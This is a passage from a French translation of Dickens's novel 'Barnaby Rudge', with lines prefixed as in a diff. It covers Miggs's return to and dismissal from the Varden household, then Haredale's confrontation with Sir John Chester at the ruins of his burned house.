+porte de la boutique, qu'on avait tenue fermée toute la journée
+pour n'être pas dérangés! Joe connaissait trop son devoir pour
+permettre à personne d'aller ouvrir quand il était là, et se hâta
+de quitter la chambre pour y aller.
+
+En vérité, il serait par trop étrange que Joe eût oublié le chemin
+de la porte; et quand même, elle était ma foi assez grande et tout
+droit devant lui pour qu'il ne lui fût pas facile de s'y tromper.
+Cela n'empêcha pas que Dolly, peut-être parce qu'elle était sous
+l'influence de cette agitation d'esprit à laquelle ils venaient de
+se livrer tous, ou peut-être parce qu'elle craignait, comme il
+n'avait qu'un bras, qu'il ne fût pas en état de l'ouvrir (car elle
+ne pouvait pas avoir d'autres raisons), se précipita derrière lui.
+Et ils s'arrêtèrent si longtemps dans le corridor... je suppose
+que c'était parce que Joe la suppliait de ne pas s'exposer au
+froid du courant d'air (en juillet) qui allait infailliblement
+entrer par la porte, quand elle s'ouvrirait... que le coup fut
+répété d'une manière plus saisissante encore que la première fois.
+
+«Est-ce que personne ne va ouvrir cette porte? cria le serrurier.
+Faut-il que j'y aille moi-même?»
+
+Sur quoi, Dolly accourut bien vite dans le parloir, toute rouge
+jusque dans le fond de ses fossettes; et Joe ouvrit avec un bruit
+terrible et d'autres démonstrations superflues, pour faire voir
+l'empressement qu'il y mettait.
+
+«Eh bien! dit le serrurier en le voyant reparaître, qu'est-ce que
+c'est donc, Joe? qu'est-ce qui vous fait rire?
+
+-- Rien, monsieur, voilà que ça vient.
+
+-- Comment? ça vient! Qui est-ce qui vient?»
+
+Mme Varden, aussi embarrassée que son mari, ne sut que répondre
+par un mouvement de tête négatif au regard de son mari, qui
+semblait lui demander une explication. Alors le serrurier fit
+tourner son fauteuil sur ses roulettes, pour mieux voir la porte,
+qu'il contempla les yeux tout grands ouverts, avec une espérance
+mélangée de curiosité et de surprise qui éclata sur sa joviale
+figure.
+
+Au lieu de voir apparaître immédiatement une ou plusieurs
+personnes, on ne fit qu'entendre divers sons remarquables, d'abord
+dans l'atelier, puis après dans le petit corridor qui le séparait
+du parloir, comme si c'était quelque coffre écrasant ou quelque
+meuble bien lourd qu'on apportât, avec un déploiement de forces
+humaines mal proportionné à la pesanteur de la charge. Enfin,
+après qu'on eut fait bien des efforts, bien heurté, bien meurtri
+la muraille des deux côtés, la porte fut enfoncée comme d'un coup
+de bélier; et le serrurier, regardant fixement ce qui venait
+derrière, se frappa la cuisse, releva les sourcils, ouvrit la
+bouche, et s'écria d'une voix profondément consternée:
+
+«Le diable m'emporte si ce n'est pas Miggs qui revient!»
+
+La jeune demoiselle dont il venait de prononcer le nom n'eut pas
+plus tôt entendu ces mots, que, laissant là un tout petit garçon
+et une très grande caisse dont elle était accompagnée, et
+s'avançant avec tant de précipitation que son chapeau lui tomba de
+la tête, elle se rua dans la chambre, joignit les mains, dans
+lesquelles elle portait une paire de patins, l'un à gauche et
+l'autre à droite, leva les yeux dévotement vers le plafond, et
+versa un ruisseau de larmes.
+
+«Toujours la même histoire! cria le serrurier en la regardant avec
+un désespoir inexprimable. Cette jeune personne-là était née pour
+faire un éteignoir, un véritable rabat-joie; il n'y a pas moyen de
+lui échapper.
+
+-- Oh! mon maître! oui ma'ame, cria Miggs: je ne peux pas réprimer
+ici mes sentiments dans ces heureux moments de réconciliation
+générale, Oh! monsieur Varden, que de bénédictions dans notre
+famille! que de pardons pour les injures! comme c'est bon et
+aimable!»
+
+Le serrurier promenait ses yeux de sa femme à Dolly, de Dolly à
+Joe, et de Joe à Miggs, avec ses sourcils toujours relevés et sa
+bouche toujours ouverte. Quand il en vint à les porter sur Miggs,
+ils y restèrent... fascinés.
+
+«Quand on pense, cria Miggs dans un accès de joie frénétique, que
+M. Joe et la chère Mlle Dolly sont réellement revenus bien
+ensemble, après tout ce qui s'est dit et fait de contraire! Quand
+on les voit assis là, auprès l'un de l'autre, lui et elle, si
+gracieux et tout à fait aimables et avenants! Et moi qui ne savais
+pas ça et qui n'étais seulement pas là pour leur préparer leur
+thé! Oh! c'est bien dépitant; mais c'est égal, ça me donne des
+sensations bien agréables tout de même.»
+
+Soit en serrant ses mains, soit dans une extase de joie pieuse,
+Mlle Miggs, en ce moment, fit claquer l'un contre l'autre ses
+patins, comme une paire de cymbales; après quoi elle répéta, de
+son plus doux accent:
+
+«Madame n'a pas pu croire sans doute...Oh! Dieu du ciel! aurait-
+elle pu le croire?... que sa bonne Miggs, qui l'a soutenue dans
+toutes ses épreuves, et qui a si bien compris son caractère, du
+temps que les autres, avec les meilleures intentions du monde,
+mais avec des procédés si rudes, donnaient des assauts continuels
+à sa sensibilité... Non, elle n'a pas pu croire que Miggs irait la
+planter là? Elle n'a pas pu croire que Miggs, toute domestique
+qu'elle est, car je sais bien que _service d'autrui n'est pas un
+héritage_, oubliât jamais qu'elle avait été l'humble instrument
+qui servait à les raccommoder ensemble dans leurs bisbilles, et
+que c'était elle qui parlait toujours au bourgeois de la douceur
+et de la patience d'agneau de sa maîtresse? Elle n'a pas pu croire
+que Miggs ne fût pas susceptible d'attachement? Elle n'a pas pu
+croire que Miggs ne fût sensible qu'à ses gages?»
+
+À tous ces interrogatoires adressés avec une éloquence plus
+pathétique les uns que les autres, Mme Varden ne répondit pas un
+mot. Mais Miggs, sans se laisser intimider par cette circonstance,
+se tourna vers le petit garçon qu'elle avait amené pour l'aider
+(c'était l'aîné de ses neveux et nièces... le fils de sa propre
+soeur mariée... il était né dans la cour du _Lion d'Or_, n° 27, et
+il avait été élevé à l'ombre même du second cordon de sonnette à
+main droite du chambranle de la porte), et, tout en faisant abus
+de son mouchoir de poche pour essuyer sa sensibilité, elle
+s'adressa à lui pour le prier, à son retour chez ses parents, de
+consoler sa tante de la perte qu'elle faisait de sa nièce, en leur
+faisant un récit fidèle de l'accueil qu'elle avait reçu au sein de
+cette famille, avec laquelle iceux et susdits parents n'ignoraient
+pas qu'elle avait incorporé ses affections les plus chères; de
+leur rappeler qu'il ne fallait rien moins que le sentiment
+impérieux de son devoir et son dévouement à son vieux maître et à
+madame, comme aussi à Mlle Dolly et au jeune M. Joe, pour refuser
+l'invitation pressante que ses parents, comme il pouvait en porter
+témoignage, lui avaient faite de coucher, boire et manger chez eux
+à perpétuité, sans aucun frais ni redevance; enfin de l'aider à
+monter son coffre, puis de s'en retourner chez lui directement
+avec sa bénédiction et ses injonctions absolues de mêler à ses
+prières du soir et du matin le voeu exprimé au Tout-Puissant de
+faire de lui un jour un serrurier, ou un M. Joe, et d'avoir
+Mme Varden et Mlle Dolly pour parentes et pour amies.
+
+Ayant enfin terminé cette admonition, bien inutile, à vrai dire,
+car nous sommes obligé d'avouer que le jeune gentleman au profit
+duquel elle était destinée, n'y fit pas la moindre attention,
+toutes ses facultés mentales étant, à ce qu'il paraît, pour le
+moment, absorbées dans la contemplation des friandises étalées sur
+la table... Mlle Miggs signifia à la compagnie en général de ne
+pas se tourmenter, qu'elle allait revenir tout à l'heure; et, avec
+l'aide de son neveu, elle se prépara à porter sa garde-robe au
+haut de l'escalier.
+
+«Ma chère, dit le serrurier à sa femme, est-ce que c'est là votre
+désir?
+
+-- Mon désir! répondit-elle. Je suis étonnée... je suis surprise
+de son audace. Qu'elle déguerpisse d'ici, et promptement.»
+
+Miggs, en entendant cela, laissa tomber lourdement le bout de sa
+malle, fit un reniflement bruyant, se croisa les bras, vissa le
+coin de sa bouche et cria, sur une gamme ascendante: «Ho!
+miséricorde!» trois fois bien distinctes.
+
+«Vous entendez ce que dit votre maîtresse, ma belle enfant, reprit
+le serrurier. Je crois que vous ferez bien de vous en aller.
+Tenez! prenez ça en mémoire de votre ancien service dans la
+maison.»
+
+Mlle Miggs empoigna le billet de banque qu'il avait pris dans son
+portefeuille pour le lui donner; elle le mit en dépôt dans sa
+petite bourse de cuir rouge, qu'elle enfonça dans sa poche
+(mettant à découvert, par la même occasion, une portion
+considérable de quelque vêtement de dessous, en flanelle, et
+montrant plus de bas de coton noir qu'on n'a l'habitude d'en
+laisser voir en public), puis elle remua la tête en regardant
+Mme Varden et en répétant:
+
+«Ho! miséricorde!
+
+-- Voici, ma chère, la seconde fois, si je se me trompe, que vous
+nous avez dit ça, fit observer le serrurier.
+
+-- Les temps sont changés, à ce qu'il paraît, ma'ame, s'écria
+Miggs en redressant la tête. Il paraît que vous pouvez vous passer
+de moi, maintenant. Vous n'avez plus besoin de moi pour les tenir
+en bride. Il ne vous faut plus personne à gronder, ou à vous
+servir de souffre-douleur, ma'ame, à ce que je vois. Je suis
+charmée de vous voir devenue si indépendante. Je vous en fais mon
+compliment, bien sûr.»
+
+Là-dessus elle fit une belle révérence, et tenant sa tête bien
+droite, l'oreille tournée du côté de Mme Varden, et l'oeil sur le
+reste de la compagnie, à mesure qu'elle adressait à l'un ou à
+l'autre quelque allusion spéciale dans ses réflexions, elle
+continua ainsi:
+
+«Oui, bien sûr, je suis enchantée de vous voir tant d'indépendance
+pour le quart d'heure, quoique je ne puisse pas m'empêcher en même
+temps de vous plaindre, ma'ame, d'avoir été réduite à tant de
+soumission, faute d'avoir là quelqu'un pour vous soutenir... hé!
+hé! hé! vous devez joliment souffrir (surtout quand on pense à
+tout le mal que vous disiez toujours de M. Joe), de finir par
+l'avoir pour gendre. Et je m'étonne que Mlle Dolly aussi puisse se
+remettre avec lui, après toutes ses allées et venues avec le
+carrossier. Il est vrai que j'ai entendu dire que le carrossier a
+réfléchi à la chose... hé! hé! hé!... et qu'il a confié à un jeune
+homme de ses amis, qu'il n'était pas si bête que de se laisser
+mettre dedans, malgré les efforts extraordinaires qu'elle et toute
+sa famille faisaient pour l'attirer.»
+
+Ici elle s'arrêta pour attendre une réplique, et, n'en recevant
+pas, elle reprit sa course:
+
+«J'ai aussi entendu dire, ma'ame, qu'il y avait des dames dont
+toutes les maladies n'étaient que des simagrées, et qu'elles
+savent tomber évanouies, roides comme mortes, toutes les fois que
+la fantaisie leur en prend. Vous pensez bien que ce n'est pas moi
+qui ai jamais rien vu de pareil de mes propres yeux... non, non.
+Hé! Hé! hé! ni les bourgeois non plus... non, non. Hé! hé! hé!
+J'ai encore entendu des voisins faire la remarque qu'il y a
+quelqu'un de leur connaissance, une bonne pâte de pauvre nigaud
+d'homme, qui est allé un jour à la pêche pour en rapporter une
+femme, et qui n'a attrapé qu'un pied de nez. Vous pensez bien que
+moi, personnellement, je n'ai jamais, que je sache, rencontré
+cette personne-là, ni vous non plus, ma'ame... non, non! Je me
+demande qui ce peut être... qu'en dites-vous, ma'ame? Je suis sûre
+que vous n'en savez pas plus long que moi. Oh! peut-être que si.
+Hé! Hé! hé!»
+
+Autre pause de Miggs, attendant encore une réplique. La réplique
+ne vient pas, et alors elle est tellement gonflée de dépit et de
+douleur qu'elle se sent prête à éclater.
+
+«Cela me fait bien plaisir de voir rire Mlle Dolly, cria-t-elle en
+riant elle-même du bout des dents. J'aime beaucoup à voir rire les
+gens... et vous aussi, n'est-ce pas, ma'ame! Cela vous a toujours
+fait plaisir de voir les gens de bonne humeur, n'est-ce pas,
+ma'ame? Aussi avez-vous toujours fait tout ce que vous pouviez
+pour entretenir ces dispositions folâtres, n'est-ce pas, ma'ame?
+Ce n'est pourtant pas qu'il y ait tant de quoi rire, au bout du
+compte... qu'en dites-vous, ma'ame! Ce n'est pas le Pérou, après
+avoir tant fait sa revêche quand elle n'était encore qu'une
+poupée, après avoir tant dépensé de toilette et d'affiquets, ce
+n'est déjà pas le Pérou de gagner à la loterie un pauvre diable de
+pioupiou, et manchot, encore, n'est-ce pas, ma'ame! Hé! hé! ce
+n'est pas moi, toujours, qui voudrais d'un mari manchot. Je
+voudrais, au moins, qu'il eût ses deux bras. Deux bras, ce n'est
+pas de trop, quand il devrait avoir seulement deux crocs au bout
+de ses moignons, en guise de mains, comme le balayeur qui est là
+devant notre porte.»
+
+Mlle Miggs allait ajouter, et avait même déjà commencé, qu'à tout
+prendre, un balayeur était encore un parti plus sortable qu'un
+pioupiou, quoique, bien sûr, quand les gens ne peuvent plus
+choisir, il faille bien qu'ils prennent ce qu'ils trouvent, et
+encore qu'ils se regardent comme bien heureux; mais comme ses
+vexations et son chagrin étaient de cette nature amère qui vous
+tourne sur le coeur sans pouvoir se soulager par des mots, et qui
+s'exalte jusqu'à la folie, faute d'être alimentée par la
+contradiction, elle ne put pas aller plus longtemps comme ça, et
+éclata en une tempête de larmes et de sanglots.
+
+Réduite à cette extrémité, elle tomba sur l'infortuné neveu, en
+veux-tu en voilà, et lui dérobant une poignée de cheveux qui lui
+resta dans la main, elle lui déclara qu'elle voudrait bien savoir
+s'il voulait la faire encore attendre là longtemps à se faire
+insulter, s'il avait ou non l'intention de l'aider à remporter sa
+malle, et s'il trouvait plaisir à entendre vilipender sa famille;
+je vous fais grâce d'une foule d'autres questions semblables.
+Victime de ces provocations humiliantes, le petit garçon qui, tout
+ce temps-là, avait été, petit à petit, poussé à la révolte par la
+vue d'un croquet sur lequel il ne pouvait pas mettre la main, s'en
+alla plein d'indignation, laissant sa tante se démener à son aise
+avec sa malle pour tâcher de le suivre.
+
+Enfin, tant bien que mal, à force de tirer, de pousser, on réussit
+à gagner la porte de la rue. Et là, Mlle Miggs, tout essoufflée de
+cet effort, épuisée d'ailleurs par ses sanglots et ses larmes,
+s'assit sur sa propriété pour y cuver sa douleur, jusqu'à ce
+qu'elle pût enjôler quelque autre jeunesse pour l'aider jusque
+chez elle.
+
+«Il n'y a pas de quoi s'occuper de ça, Marthe, il n'y a que de
+quoi rire, dit le serrurier à l'oreille de sa femme, en la suivant
+à la fenêtre et en lui essuyant les yeux avec bonhomie. Qu'est-ce
+que ça vous fait? Ce n'est pas d'aujourd'hui que vous avez reconnu
+vos torts. Allons! encore un petit verre de Toby, ma chère. Dolly
+va nous chanter une petite chanson, et cette interruption ne fera
+qu'ajouter à notre gaieté.»
+
+
+
+
+CHAPITRE XXXIX.
+
+
+Un mois après, on était presque à la fin d'août, et M. Haredale se
+trouvait seul dans le bureau de la malle-poste, à Bristol.
+Quoiqu'il ne se fût écoulé que quelques semaines depuis sa
+conversation avec Édouard Chester et sa mère dans la maison du
+serrurier, et qu'il n'eût rien changé dans l'intervalle à sa mise
+ordinaire, son extérieur n'était plus du tout le même. Il avait
+l'air beaucoup plus vieux et plus cassé. L'agitation et
+l'inquiétude n'épargnent pas à l'homme les rides et les cheveux
+blancs; mais le renoncement secret à nos anciennes habitudes, et
+la rupture des liens qui nous sont chers et familiers, laissent
+des traces encore plus profondes. Nos affections ne sont pas aussi
+faciles à blesser que nos passions; mais le coup descend plus
+avant, et la plaie demande plus longtemps pour se cicatriser. Il
+n'était plus maintenant qu'un homme tout à fait solitaire, et le
+coeur qu'il portait avec lui n'était aussi qu'isolement et
+tristesse.
+
+Il semble que la réclusion et l'exil auxquels il s'était condamné
+tant d'années eussent dû lui faire paraître sa solitude actuelle
+moins pénible; mais il sentait maintenant que c'était une mauvaise
+préparation: car elle n'avait fait qu'aiguiser sa sensibilité;
+peut-être un petit tour dans les plaisirs du monde aurait-il mieux
+valu. Il avait si bien compté sur sa nièce pour lui tenir
+compagnie; il l'avait tant aimée; elle était devenue une part si
+précieuse et si importante de son existence; ils avaient eu en
+commun tant de soucis et de pensées que personne d'ailleurs
+n'avait partagés avec eux, que la perdre, à présent, c'était
+recommencer la vie. Où trouverait-il, pour cet essai nouveau,
+l'espérance et l'élasticité de la jeunesse pour triompher des
+doutes, de la défiance, des découragements de l'âge?
+
+L'effort qu'il avait fait de montrer, en se séparant d'elle, un
+faux-semblant de gaieté et d'espérance... et c'était la veille
+seulement qu'ils s'étaient fait leurs adieux... l'avait encore
+accablé davantage. C'est sous l'empire de ces sentiments qu'il
+allait revoir Londres pour la dernière fois: il voulait jeter
+encore les yeux sur les murs de leur vieux logis avant de lui
+tourner le dos pour toujours.
+
+C'était un voyage qui ne ressemblait guère alors à ce que nous
+voyons aujourd'hui. Pourtant Haredale en vit la fin, les plus
+longs voyages en ont une, et il se retrouva sur ses pieds dans les
+rues de la métropole. Il prit une chambre à l'auberge où arrêtait
+la malle, et résolut, avant d'aller se coucher, de ne faire savoir
+à personne son arrivée, de ne plus passer après qu'une nuit à
+Londres, et de s'épargner la tristesse d'un adieu même avec
+l'honnête serrurier.
+
+Les dispositions d'esprit auxquelles il était en proie en se
+couchant ne prêtent que trop aux écarts de l'imagination, aux
+visions désordonnées. Il le sentait à l'horreur même qu'il éprouva
+en se réveillant en sursaut de son premier sommeil, et il courut à
+la fenêtre pour dissiper son trouble par la présence de quelque
+objet hors de sa chambre, qui n'eût pas été, pour ainsi dire,
+témoin de son rêve. Cependant ce n'était pas une terreur née de
+son sommeil cette nuit-là même; elle s'était déjà bien des fois
+présentée à ses sens, sous mille formes. Elle l'avait hanté
+souvent au temps jadis; elle était venue le chercher sur son
+oreiller, toujours et toujours. Si ce n'avait été qu'un objet
+hideux, un spectre fantastique qui le poursuivît dans son sommeil,
+le retour de ce cauchemar sous son ancienne forme n'aurait éveillé
+chez lui qu'une sensation de crainte momentanée, qui aurait passé
+sitôt qu'il aurait ouvert les yeux. Mais cette vision était
+impitoyable; elle ne voulait pas le quitter, elle résistait à
+tout. Quand il refermait les paupières, il la sentait voltiger
+près de lui. À mesure qu'il s'enfonçait tout doucement dans le
+sommeil, il savait qu'elle prenait de la force et de la
+consistance, et qu'elle revenait graduellement à sa forme récente;
+quand il sautait à bas de son lit, le même fantôme, en
+s'évanouissant de son cerveau enflammé, le laissait plein d'une
+crainte contre laquelle le raisonnement et la réflexion dans
+l'état de veille étaient impuissants.
+
+Le soleil avait déjà paru, avant que M. Haredale eût pu secouer
+ces impressions. Il se leva tard, mais fatigué, et resta renfermé
+tout le jour. Il avait envie d'aller ce soir-là rendre sa dernière
+visite à son vieux manoir, parce que c'était le temps où il avait
+l'habitude d'y faire une petite tournée, et qu'il était bien aise
+de le revoir sous l'aspect qui lui était le plus familier. À
+l'heure qui lui permettait d'y arriver avant le coucher du soleil,
+il quitta donc l'auberge et se trouva au détour de la grande rue.
+
+Il n'avait encore fait que quelques pas, et marchait tout pensif
+au travers de la foule bruyante, quand il sentit une main sur son
+épaule, et reconnut, en se retournant, un des garçons de
+l'auberge, qui lui dit: «Pardon, monsieur, mais vous avez oublié
+votre épée.
+
+-- Pourquoi me la rapportez-vous? demanda-t-il en étendant la
+main, sans reprendre encore son arme au domestique, mais en le
+regardant d'un air troublé et agité.
+
+-- Je suis bien fâché, dit l'homme, d'avoir désobligé monsieur, je
+vais la remporter. Monsieur avait dit qu'il allait faire un petit
+tour à la campagne, et qu'il ne reviendrait pas de bonne heure;
+or, comme les routes ne sont pas trop sûres pour un voyageur seul
+attardé après la brune, et que, depuis les troubles, ces messieurs
+prennent encore plus qu'auparavant la précaution de ne pas se
+hasarder sans armes dans des endroits écartés, nous avons pensé,
+monsieur, qu'étranger à ce pays, vous aviez cru peut-être nos
+routes plus sûres qu'elles ne sont; mais après cela, peut-être
+qu'au contraire vous les connaissiez bien et que vous avez sur
+vous des armes à feu...»
+
+Il prit l'épée, et l'attachant à son côté, il remercia le
+domestique et continua son chemin.
+
+On se rappela longtemps après qu'il fit tout cela d'une manière
+étrange et d'une main si tremblante que le garçon resta à le
+regarder pendant qu'il poursuivait sa route, incertain s'il ne
+devait pas le suivre pour le surveiller. On se rappela longtemps
+après qu'on l'avait entendu arpenter à grands pas sa chambre au
+fort de la nuit; que les domestiques s'étaient entretenus le
+lendemain matin de sa pâleur et de sa mine fiévreuse; qu'enfin,
+lorsque le garçon qui lui avait porté son épée était revenu à
+l'auberge, il avait dit à un de ses camarades qu'il avait encore
+comme un poids sur l'estomac de tout ce qu'il avait observé dans
+ce court intervalle, et qu'il avait peur que le gentleman n'eût
+l'intention de se détruire et qu'on ne le vît jamais revenir en
+vie.
+
+M. Haredale, à peu près sûr que son trouble avait attiré
+l'attention du domestique, en se rappelant l'expression de ses
+traits quand ils s'étaient quittés, hâta le pas, gagna une place
+de fiacres, et monta dans le meilleur, après avoir fait prix avec
+le cocher pour le conduire sur la route jusqu'au sentier qui
+conduisait chez lui à travers champs, et pour attendre son retour
+auprès d'une maison de plaisance qui se trouvait à une portée de
+fusil loin de là. Il ne tarda pas à arriver à sa destination, et
+descendit pour faire le reste du chemin à pied. Il passa si près
+du Maypole qu'il pouvait en voir la fumée monter au-dessus des
+arbres, pendant qu'une bande de pigeons... sans doute de ses vieux
+habitants avant l'incendie... déployant gaiement leurs ailes pour
+retourner au colombier, lui cachait la vue du ciel. «La vieille
+maison va me rajeunir, dit-il en regardant de ce côté, et il y
+aura là un gai foyer sous son toit couvert de lierre. C'est
+toujours une consolation de penser que tout n'est pas ruines dans
+le voisinage. Je serai bien aise d'avoir au moins un tableau moins
+morne et moins sombre où reposer mon esprit.»
+
+Il reprit sa marche, en dirigeant ses pas du côté de la Garenne.
+Quelle belle soirée, claire, calme, silencieuse! pas un souffle de
+vent pour agiter les feuilles, rien que les sonnettes monotones
+des agneaux qui tintaient dans la campagne, et, par intervalles,
+le beuglement lointain du bétail ou l'aboiement des chiens du
+village. Le ciel était rayonnant de la gloire adoucie d'un soleil
+couchant; sur la terre, comme dans l'air, régnait un profond
+repos. Telle était l'heure à laquelle il arriva à ce manoir
+abandonné qui avait été si longtemps sa demeure, et il se mit à
+regarder pour la dernière fois ses murs noircis par la flamme.
+
+Les cendres du feu le plus ordinaire donnent toujours à l'âme une
+émotion mélancolique, car elles portent en elles un souvenir de
+quelque chose qui a été vivant et animé, et qui n'est plus
+maintenant qu'une inerte, froide et odieuse poussière, une image
+de mort et de destruction, qui attire malgré nous notre sympathie.
+Mais combien sont plus tristes encore les restes épars d'une
+maison qui fut la nôtre, consumée par l'incendie, le renversement
+du grand autel domestique, où les plus mauvais d'entre nous
+célèbrent quelquefois le culte secret du coeur, et où les
+meilleurs ont offert de si nobles sacrifices et accompli de tels
+actes d'héroïsme que, s'ils étaient enregistrés dans l'histoire,
+ils forceraient les temples les plus orgueilleux de l'antiquité,
+avec leurs fanfaronnes annales, à rougir devant eux!
+
+Il s'arracha à ses méditations profondes pour se promener à pas
+lents autour de la maison. Il commençait à faire noir. Il avait
+déjà presque achevé le tour des bâtiments, quand il poussa une
+exclamation à demi étouffée, tressaillit et se tint coi. Appuyé
+dans une attitude tranquille, le dos contre un arbre, et
+contemplant les ruines avec une expression de plaisir... de
+plaisir si vif que, malgré son indolence habituelle, la
+surveillance qu'il savait si bien exercer sur ses traits, sa joie
+éclatait sur son visage, libre de toute contrainte et de toute
+réserve... oui, devant Haredale, sur sa propre terre, et
+triomphant encore comme il avait triomphé de toutes les
+infortunes, de toutes les contrariétés de son ennemi, se tenait
+l'homme au monde dont l'autre pouvait le moins supporter la
+présence, n'importe où, mais surtout là.
+
+Quoique son sang se révoltât contre cet homme, quoique sa rage
+bouillonnât si violemment dans son âme, qu'il l'aurait volontiers
+frappé roide mort, il eut assez de puissance sur lui-même pour se
+retenir et passa sans dire un mot, sans jeter un coup d'oeil de
+son côté. Oui, et il allait continuer, il ne se serait même pas
+retourné, car il voulait résister au diable qui troublait sa
+cervelle par d'affreuses tentations (et ce n'était pas un effort
+facile), si cet imprudent ne l'avait pas lui-même engagé à
+s'arrêter; et cela avec une voix de compassion affectée qui le
+rendit presque fou, et lui fit perdre en un instant toute la
+patience qu'il avait voulu garder malgré son angoisse... la plus
+poignante, la plus irrésistible de toutes les angoisses.
+
+Aussitôt, réflexion, raison, pitié, clémence, tout ce qui peut
+aider à contenir la rage et le courroux d'un homme stimulé par la
+vengeance, tout cela s'envola au moment même où il se retourna. Et
+pourtant il lui dit lentement et avec le plus grand calme...
+beaucoup plus de calme qu'il n'en avait jamais mis à lui parler:
+«Pourquoi m'avez-vous adressé la parole?
+
+-- Pour vous faire remarquer, dit sir John Chester avec son flegme
+habituel, le drôle de hasard qui nous fait rencontrer ici.
+
+-- Oui, c'est un hasard étrange.
+
+-- Étrange! c'est la chose la plus remarquable et la plus
+singulière du monde. Je ne monte jamais à cheval le soir. Voilà
+des années que cela ne m'est arrivé. C'est une fantaisie qui m'a
+passé, je ne puis m'expliquer comment, par la tête, au beau milieu
+de la nuit dernière... Comme ceci est pittoresque!...»
+
+Il lui montrait en même temps la maison démantelée, et ajustait
+son lorgnon pour mieux voir.
+
+«Vous ne vous gênez pas pour admirer votre oeuvre.».
+
+Sir John laissa retomber son lorgnon, pencha le visage du côté
+d'Haredale avec un air des plus courtois, comme pour lui demander
+une explication, et en même temps il secouait légèrement la tête,
+comme s'il se disait à lui-même: «Il faut que cet animal soit
+devenu fou.»
+
+«Je vous répète que vous ne vous gênez pas pour admirer votre
+oeuvre.
+
+-- Mon oeuvre! dit sir John en regardant autour de lui d'un air
+souriant. Mon ouvrage, à moi!... je vous demande pardon...
+réellement je vous demande pardon, mais...
+
+-- Sans doute, vous voyez bien ces murs. Vous voyez bien ces
+chevrons chancelants; vous voyez bien de tous les côtés le ravage
+du feu et de la fumée. Vous voyez bien l'esprit de destruction qui
+s'est déchaîné ici... n'est-ce pas?
+
+-- Mon bon ami, répondit le chevalier, réprimant doucement d'un
+signe de sa main la fougue d'Haredale, certainement je le vois. Je
+vois tout ce dont vous me parlez là, quand vous vous mettez de
+côté et que vous ne m'en dérobez pas la vue. J'en suis bien fâché
+pour vous. Si je n'avais pas eu le plaisir de vous rencontrer ici,
+je crois même que je vous aurais écrit pour vous le dire. Mais
+vous ne supportez pas ça aussi bien que je m'y serais attendu...
+veuillez m'excuser, mais je trouve que... vraiment j'attendais
+mieux de vous.»
+
+Il tira sa tabatière, et, s'adressant à lui de l'air supérieur
+d'un homme qui, à raison de son caractère plus élevé, se sentait
+le droit de faire à l'autre une leçon de morale, il continua
+ainsi:
+
+«Car enfin, vous êtes philosophe, vous savez... et de cette secte
+de philosophes austères et rigides qui sont bien au-dessus des
+faiblesses de l'humanité en général. Vous êtes si loin de toutes
+les frivolités de ce monde! vous les regardez du haut de votre
+sérénité, et vous les raillez avec une amertume très émouvante: je
+vous ai entendu le faire.
+
+-- Et vous m'entendrez encore!
+
+-- Merci! Voulez-vous que nous fassions un petit tour de promenade
+en causant? car voilà le serein qui tombe un peu fort. Non! eh
+bien! comme il vous plaira. Seulement, je suis fâché d'être obligé
+de vous dire que je n'ai plus qu'un petit moment à vous donner.
+
+-- Plût à Dieu que vous ne m'en eussiez pas donné du tout! Plût à
+Dieu, je le dis de toute mon âme, que vous fussiez allé au paradis
+(si l'on peut proférer un pareil mensonge), plutôt que de venir
+ici ce soir!
+
+-- Mais non, répondit sir John... certainement vous ne vous rendez
+pas justice; vous n'êtes pas d'une compagnie très agréable, mais
+je ne voudrais pas aller si loin pour vous éviter.
+
+-- Écoutez-moi! dit M. Haredale, écoutez-moi.
+
+-- Vous allez railler?
+
+-- Non, je vais détailler toute votre infamie. Vous avez pressé et
+sollicité de faire votre ouvrage un agent capable, mais qui par
+caractère, par essence plutôt, n'est qu'un traître, et qui vous a
+trahi malgré la sympathie mutuelle qui vous rapprochait tous deux,
+comme il a trahi tous les autres; par allusions, par signes, par
+mots détournés qui ne signifient rien quand on les répète, vous
+avez mis Gashford à l'oeuvre... à cette oeuvre que vous voyez là
+devant nous. Toujours grâce à ces allusions, à ces signes, à ces
+mots détournés qui ne signifient rien quand on les répète, vous
+l'avez encouragé à satisfaire la haine mortelle qu'il me porte, et
+que, Dieu merci, je me flatte d'avoir méritée. Vous l'avez
+encouragé à la satisfaire par le rapt et le déshonneur de ma
+fille. Vous l'avez fait. Je le lis sur votre figure, cria-t-il en
+la montrant brusquement et en faisant un pas en arrière: vous le
+niez, mais vous ne pouvez le nier que par un mensonge.»
+
+Il avait la main sur la garde de son épée; mais le chevalier, avec
+un sourire de mépris, lui répliqua aussi froidement qu'auparavant.
+
+«Vous remarquerez, monsieur, s'il vous reste assez de jugement
+pour le faire, que je ne me suis pas donné la peine de rien nier.
+Je ne vous crois pas assez de discernement pour lire dans les
+physionomies, à moins que ce ne soit dans celles qui sont aussi
+grossières que votre langage, et, autant que je puis me le
+rappeler, vous n'avez jamais eu ce don; autrement, je connais une
+figure où vous auriez pu lire plutôt l'indifférence, pour ne pas
+dire le dégoût. Je parle là d'un temps bien éloigné de nous...
+mais vous me comprenez.
+
+-- Dissimulez tant que vous voudrez, il n'en est pas moins vrai
+que vous le niez. Que ce soit un désaveu clair ou équivoque,
+exprimé ou sous-entendu, ce n'en est pas moins un mensonge: car,
+enfin, puisque vous dites que vous ne le niez pas... l'admettez-
+vous?
+
+-- Vous avez vous-même, répondit sir John, laissant le cours
+régulier de sa parole couler tout uniment comme s'il n'avait pas
+été effleuré par le moindre mot d'interruption, vous avez vous-
+même proclamé le caractère da gentleman en question (je crois que
+c'était à Westminster) dans des termes qui me dispensent de faire
+à ce personnage plus ample allusion. Peut-être aviez-vous de
+bonnes raisons pour le faire, peut-être non, je n'en sais rien.
+Mais, en supposant que le gentleman fût tel que vous le décriviez,
+et qu'il vous eût fait, à vous ou à tout autre, des déclarations
+qui peuvent lui avoir été suggérées par le soin de sa propre
+sûreté, ou par la tentation de l'argent, ou par le désir de
+s'amuser, ou par toute autre considération... tout ce que je puis
+dire de lui, c'est que ceux qui l'emploient ne peuvent échapper au
+reproche de participer à la honte de cet être dégradé. Vous êtes
+si franc vous-même, que vous voudrez bien, j'espère, excuser aussi
+chez moi un peu de franchise.
+
+-- Encore une fois, sir John, vous ne m'échapperez pas, cria
+M. Haredale; chacun de vos mots, de vos regards, de vos gestes,
+est calculé pour faire croire que ce que je vous reproche n'était
+point de votre fait. Eh bien! moi, je vous dis que c'est le
+contraire, que c'est vous qui avez pratiqué l'homme dont je parle,
+et votre malheureux fils (Dieu lui pardonne!), pour leur faire
+faire cette besogne. Vous parlez de dégradation et de bassesse de
+caractère; mais ne m'avez-vous pas dit un jour que c'était vous
